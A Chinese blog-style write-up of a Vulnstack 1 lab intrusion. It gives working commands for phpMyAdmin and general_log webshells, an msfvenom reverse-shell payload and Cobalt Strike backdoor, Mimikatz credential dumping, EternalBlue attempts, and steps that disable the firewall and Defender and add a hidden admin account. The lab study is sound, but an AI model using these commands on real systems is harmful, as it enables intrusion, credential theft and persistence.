红日靶场vulnstack1 内网渗透学习

目录

前言:

信息收集:

phpmyadmin getshell

日志写shell

yxcms getshell

植入后们:

内网域环境信息收集:

基于msf 进行信息收集:

 基于msf 内网信息收集:

内网收集思路总结:

CS派生会话给公网MSF

 CS开启监听:

 3.cs 派生会话。

​编辑

 MSF 利用MSF小记 | 命令 (lmlphp.com):

 MSF进行 永恒之蓝攻击:

 MSF 内网端口扫描。

利用ms17-010

总结:


前言:

仅记录学习过程,期间也会借鉴其他师傅的文章

靶场环境搭建的话,可以参考其他师傅。

我的环境:

kali (攻击机):192.168.92.129

Windows 7 (web服务器):192.168.92.128(外网和kali连通)、192.168.52.143(内网)

Windows 2008 (域控):192.168.52.138

Win2k3 (域管):192.168.52.141

信息收集:

因为web 网页是起来了,如果我们不知道对方的环境,借此,我们可以对这个网站进行扫描。

看到80端口起了HTTP服务, 3306端口起了 mysql

访问一下此 IP 的80 端口。

 

是一个phpinfo() 针探页面 ,以这个网址为根目录,再扫描一下其他路径。工具挺多,得看字典了。我使用的 dirsearch

扫到了 phpinfo.php  还有一个phpmyadmin 后台,这里应该还有一个beifen.rar,字典不够强

 访问phpmyadmin 好像是要我们弱口令登录,如果是公共机的话,一般都会存在弱口令的,这里试下admin admin root root  admin  123456 等弱口令,试出来是root root  如果实在是不行,可以用bp爆破。

拿到 pgpmyadmin 后 ,接下来就要用phpmyadmin 去getshell 。

phpmyadmin getshell

一、 into outfile 和into dumpfile 写马

这两个可以写马,但是有区别的,一个可以写多行,另一个只能写一行,具体不清楚,并且他们使用的时候需要条件,就是配置文件中的 secure_file_prive 这个值是需要要求的。

我们可以查看一下secure_file_prive 值:

show variables like "%secure_file%";

into写入文件:
使用需看要secure_file_priv的值。

当value为“null”时,不允许写入或者读取

当value为“空”时,允许读取任意文件

当value为"/tmp"时,只允许在/tmp目录中写入和读取

value可也已设置为其他路径。

这里 show variables like "secure_file_prive%" 查询的结果为空,就行不通了。

 看到这里的值为NULL 所以是 不允许写入或者读取文件。

ps  如果想要通过into 写入文件:

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

如果我们可以利用写写文件的命令时,我们需要知道当前目录的情况,这需要一个查询当前目录的指令:

select @@basedir

 知道当前目录情况,直接写马就好了

然后通过执行select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。 

select 1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/test.php'#

select 1,'<?php eval($_POST[cmd]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行

写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
 

日志写shell

应该是用的最多的一个姿势了,因为日志的文件名可控,而且 写入的位置也可控。

查看日志状态:

show variables like ‘%general%’;

 general_log  和general_log_file  的简述:

  • mysql打开general_log 开关后,所有对数据库的操作都将记录在general_log_file指定的文件目录中 以原始的状态来显示,如果将general_log开关打开,general_log_file 指定一个php 文件,则查询的操作 将会全部写入到 general_log_file 指定的文件,可以通过访问 general_log_file 指定的文件来获取 webshell。

上面看到 general_log 的value是off  我们需要手动开启。

set global general_log = "ON";    //开启记录查询操作
set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.

 成功修改选项。 指定日志会写入到网站根目录的 1.php文件里。

也就是说,我们执行查询语句,他会把操作的内容写入到1.php 里面,所以我们执行

select '<?php eval($_POST[a]);?>'

访问 1.php 

有报错,说明确实是写进去了。windows10 用蚁剑连一下。

 

成功连接。看到有个beifen,其中是yxcms的源码。

yxcms getshell

 服务器搭建了 yxcms 系统,我们url访问一下看看。

右下角还有个提示,根据提示,成功登入后台。

 点击前台模板

 可以上传 文件,且后缀为php,只能说有点过于简单了,真实环境不可能让你这样玩的

 文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:

路径为: /yxcms/protected/apps/default/view/default

 所以我们蚁剑连接一下

 这就成功拿到shell  了。似乎有点简单了。。

植入后们:

既然已经拿到webshell , 那么久要开始实现从web 跳到内网了,这里需要用到一个工具:

Cobaltsrike 简称CS 

公网VPS 上运行CS服务:,记得给权限

2、本地 Win10 物理机运行 CS 客户端并连接 CS 服务端,然后生成 exe 可执行 Backdoor 程序:

连的你的vps  。

 生成之后用蚁剑上传至目录

在蚁剑终端运行  exe文件

 成功上线

接下来进行简单的靶机信息收集:

 可以使用 MImikatz 直接抓取本机用户密码。

看到这台 win7服务器机器 的密码,也就是我们自己设置的windows7密码

进一步还可以利用 svc-exe 提权到 system 系统权限用户

创建新的接口,输入命令。

 看到我们已经是这台机子的 系统权限账户了。

内网域环境信息收集:

内网信息收集的主要目的就是查找域控以及域内的其他主机,  以下是部分内网信息收集的命令:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1,先判断是否存在域,使用 shell ipconfig /all 查看dns 服务器,发现主DNS 后缀不为空,存在域god.org 。 

 或者使用 net config Workstation 来查看当前计算机名,全名,用户名,系统版本,工作站,域,登录域。等信息

2. 上面发现 DNS服务器为god.org ,当前登录域为GOD ,那接下来 可执行 net view /domain 查看一下有几个域 (域环境可能存在多个域) 

3.既然只有一个域,那就利用  net group "domain controllers" /domain命令查看域控制器主机名,直接确认域控主机的名称为:OWA$

 4. 已经确认域控主机的名称为 OWA ,继续执行命令 net view 查看局域网 其他主机信息。(主机名称,IP),可得知域控主机 IP 为 192.168.52.138

 5.局域网扫描出来除了域控主机 之外,还有另一台主机, 名为:ROOT-TVI862UBEH 。

最后再确认一下该主机是否也是存在域中,故执行命令

shell net group "domain computers" /domain

查看域中的其他主机名,发现包含ROOT-TVI862UBEH ,故域中还包含一个域成员主机 其IP地址为:192.168.52.141 如图下所示:

至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

基于msf 进行信息收集:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe

//这里的LOHOST和LPORT是你kali的ip 和端口,生成一个exe文件

然后开启监听本地ip和端口模式:

use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 172.20.10.8
set lport 1234
exploit -j(后台)允许

因为我们已经拿下了服务器,所以我们可以用蚁剑 上传我们的exe 文件到服务器

然后运行此exe 文件

 然后 msf 这边就会收到session 会话

 之后我们sessions  1 就可以运行我们后续的payload。

msf 也可以直接system提权。

 基于msf 内网信息收集:

sysinfo 收集主机信息: 

查看域内其他主机: 

确认域控:

net group “domain controllers” /domain

 

 获取当前机器所有网段信息

内网收集思路总结:

cs上线之后,可以先用 net config Workstation 查看当前用户域信息  。可以用 net view /domain 来查看一下有多少个域,因为一个环境可能存在多个域。 如已确认域控主机,可以再进一步收集局域网内其他主机信息 net view收集其他主机ip 。

接下来将通过 win 7 作为跳板机,横向渗透拿下内网域内的域成员主机和域控。

CS派生会话给公网MSF

msf 框架继承了诸多渗透测试的利器,在内网渗透中经常要将CS和MSF搭配起来使用,下面演示如何将 cs 获取到的会话派生给MSF。

我在vps 主机上同时搭建了msf 框架和 cs服务,所以我们的vps需要开两个窗口,一个是cs服务,一个是msf 服务

,其中msf 的搭建只需执行以下命令:

apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
#上面这条命令是 下载安装
chmod 755 msfinstall
执行安装脚本:./msfinstall
启动MSF框架: msfconsole

use exploit/multi/handler             //使用模块
set payload windows/meterpreter/reverse_http    //设置payload
set lhost 104.168.***.***            //设置本地地址
set lport 6666                      //设置本地端口
exploit                             //执行

 msf这方面的介绍:MSF的使用教程_zkzq的博客-CSDN博客_msf

如图所示: 

 

 CS开启监听:

回到CS 中添加 监听器,payload 为 windows/foreign/reverse_http , IP 为MSF的IP,监听端口为MSF的监听端口。

 3.cs 派生会话。

 选择刚刚新建的

 

返回vps 中的msf 窗口可以看到shell 会话。

 MSF 利用MSF小记 | 命令 (lmlphp.com)

获得msf会话后即可使用 msf 集成诸多强大功能模块和脚本,,如调用post/windows/gather/checkvm 判断靶机是否属于虚拟机 (检查是否进了蜜罐):

 再如 调用post/windows/gather/enum_applications 模块枚举列出安装在靶机上的应用程序:

 MSF进行 永恒之蓝攻击:

公网vps 上 MSF获得会话后,目标是借助 msf 集成的攻击模块展开 横向渗透 拿下内网其他机器:

静态路由配置:

MSF的autoroute 模块是msf框架中 自带的一个路由转发功能,实现过程是msf 框架在已经获取的 

Meterpreter Shell 的基础上 添加一条去往  “内网” 的路由,直接使用msf 去访问原本不能直接访问的内网资源,只要路由可达,我们就可以使用msf来探测了。

首先需要配置静态路由:

#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute  
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

看到有两个网段,一个是内网的 还有一个是外网的 ,所以我们要添加一条到内网网段的路由:

run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

 添加目标内网路由(添加失败,因为该路由已存在):

 MSF 内网端口扫描。

现在路由可达内网网段,可以先对内网主机进行探测。

1。先执行backgroud 命令将当前执行的meterpreter 会话切换到后台,(后续也可以执行 sessions -i 重新返回会话),然后使用msf 自带  auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

 

 扫到  域成员 开放了 445 , 135  , 139 端口,同样的,我们扫一下 域控主机开放的端口:

 同样的,域控(192.168.52.138)也开启了 445端口。


插入一下,至于为什么是445 端口,因为这是永恒之蓝漏洞(MS17-010) 通过 TCP 的445和139端口,来利用SMBv1 和NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的Windows 主机, 只要用户主机开机联网,即可,通过该漏洞控制用户的主机。从而进一步

利用ms17-010

auxiliary/scanner/smb/smb_ms17_010  //扫描模块
exploit/windows/smb/ms17_010_eternalblue // 攻击模块

一般是先扫描,若显示有漏洞 再攻击。

msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run  #进行扫描,观察是否存在该漏洞

 

 

 可以看到两台主机都可以使用永恒之蓝漏洞。

接下来尝试利用永恒之蓝漏洞拿下域控主机  192.168.52.138使用MSF集成的漏洞 ms17-010 exp

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run

 

最终是失败了,应该是没关win7防火墙

msf6-> sessions -l #查看所有会话
msf6-> sessions 4  #进入会话4中    //你查看所有会话,就是切换到哪个id
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

windows7 提示关闭了

 接着重新对域控主机进行永恒之蓝攻击: 再来!

 

还是没能成功。。试一下用 psexec吧,不然也没办法。

。。。。。

还是失败了。 搜了下好像要 设置targets?

show targets 

我们要控制的靶机 id 为3 

set target 3

 再执行一下exp,无奈还是不能成功

由于已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面:

成功连接上

#win7开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user Tr0e Pass!@123 /add
# 给Tr0e账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加 Tr0e 用户
net user Tr0e
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

上述命令可以再冰蝎  菜刀的命令终端执行。 

至此 红日靶场一 已经结束。 

总结:

内网水很深,还需要多多琢磨,其次,这是我第一次打内网靶机,自己的能力还是很不足,永恒之蓝没能打进去是非常遗憾,后面还会继续加油,打红日二。 网安任重道远。

  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值